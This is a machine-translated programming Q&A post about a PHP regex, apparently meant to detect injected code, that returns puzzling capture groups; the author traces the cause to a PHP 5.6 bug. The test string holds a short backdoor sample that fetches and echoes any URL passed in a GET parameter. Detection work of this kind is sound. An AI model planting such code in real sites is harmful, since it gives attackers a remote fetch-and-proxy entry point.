我从我正在研究的正则表达式模式中得到了无法解释的结果,因此我将其归结为表达式的最简单部分,并且似乎可以合理地得出结论,这些结果应该是不可能的,除了它们是显然存在。有人可以重现并确认我的期望并不疯狂吗?
作为我可以重现的最简单的示例,我使用以下代码创建了一个 PHP 文件:
<PRE>
<?php
$content = '<?php
if (isset($_GET["schema"])) {
$the_ID_ufa = $_GET["schema"];
if ($is_admin_we = curl_init()) {
curl_setopt($is_admin_we, CURLOPT_URL, $the_ID_ufa);
curl_setopt($is_admin_we, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($is_admin_we);
curl_close($is_admin_we);
}
}';
$regex = '/<\?php(([\{\}\s]++)*+((isset|if|(\$\w++))[\s\(=\!]++)++\$(_REQUEST|_POST|_GET|_COOKIE|\{[^\}]++\}++|\[[^\]]++\]++)++(.*)(;|\s*+\{))++/i';
if (preg_match($regex, $content, $match))
echo htmlspecialchars(print_r($match,1));
else
echo "No Matches\n";
?>
</PRE>
此代码的输出是:
Array
(
[0] => <?php
if (isset($_GET["schema"])) {
$the_ID_ufa = $_GET["schema"];
[1] =>
$the_ID_ufa = $_GET["schema"];
[2] =>
[3] => $is_admin_we =
[4] => $is_admin_we
[5] => $is_admin_we
[6] => ["schema"]
[7] =>
[8] => ;
)
但是我无法解释它如何只捕获实际代码的前两行,其中设置了 $the_ID_ufa var,并以某种方式捕获元素 3、4 和 5 中的 $is_admin_we var,而元素 3、4 和 5 中的 $is_admin_we var 不是甚至可以通过正则表达式模式达到。我认为 3、4 和 5 应该捕获 $the_ID_ufa,否则元素 0 和 1 应该包含
if ($is_admin_we = curl_init()) {
谁能解释一下这个结果是怎么可能的?
需要明确的是,我并不是在寻找不会产生此结果的不同或替代正则表达式。我实际上正在使用一个更大、更复杂的正则表达式,它仍然需要匹配此示例内容的其他变体,因此我无法完全用另一个在这个示例中可能工作得更好的正则表达式来替换此正则表达式。我只需要理解为什么这会捕获错误的变量名称,以便我可以重新思考我的整个方法。
感谢 Bobbie 的评论,它证明了我的代码没有任何问题,并显示了我一直期待的输出,我能够推断出这是 PHP 5.6 中一些奇怪错误的结果,而我不是意识到。我尝试了许多其他版本的 PHP,并确认 v7.0 或更高版本会产生预期的输出,但 v5.6 会导致我上面的问题所示的无法解释且不正确的输出。
我的解决方案是升级 PHP 并确保我的插件的系统要求需要 PHP 7.0 或更高版本。
如果有人具体了解这是哪个错误以及它可能对 PHP 5.6 中运行的正则表达式解释产生哪些其他影响,请随时详细说明。